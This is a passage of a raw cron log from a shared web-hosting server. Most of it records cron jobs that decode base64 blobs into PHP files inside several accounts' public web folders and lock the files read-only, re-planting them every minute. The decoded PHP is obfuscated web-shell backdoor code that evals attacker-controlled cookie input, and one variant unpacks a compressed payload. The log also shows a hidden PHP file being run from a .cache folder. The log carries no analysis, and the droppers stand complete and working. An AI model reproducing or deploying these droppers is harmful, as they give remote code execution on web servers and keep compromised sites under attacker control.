nIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:52:01 medusa CROND[18632]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:52:01 medusa CROND[18638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:52:01 medusa CROND[18639]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:52:01 medusa CROND[18640]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:53:02 medusa CROND[8883]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:53:02 medusa CROND[8884]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:53:02 medusa CROND[8885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:53:02 medusa CROND[8886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:53:02 medusa CROND[8887]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:53:02 medusa CROND[8889]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:53:02 medusa CROND[8890]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:53:02 medusa CROND[8891]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:53:02 medusa CROND[8893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:53:02 medusa CROND[8897]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:53:02 medusa CROND[8898]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:53:02 medusa CROND[8899]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:54:01 medusa CROND[29963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:54:01 medusa CROND[30022]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:54:01 medusa CROND[30070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:54:01 medusa CROND[30071]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:54:01 medusa CROND[30072]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:54:01 medusa CROND[30073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:54:01 medusa CROND[30081]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:54:01 medusa CROND[30082]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:54:01 medusa CROND[30083]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:54:01 medusa CROND[30085]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:54:01 medusa CROND[30086]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:54:01 medusa CROND[30088]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:54:01 medusa CROND[30084]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:55:01 medusa CROND[18861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:55:01 medusa CROND[18862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:55:01 medusa CROND[18863]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:55:01 medusa CROND[18868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:55:01 medusa CROND[18865]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
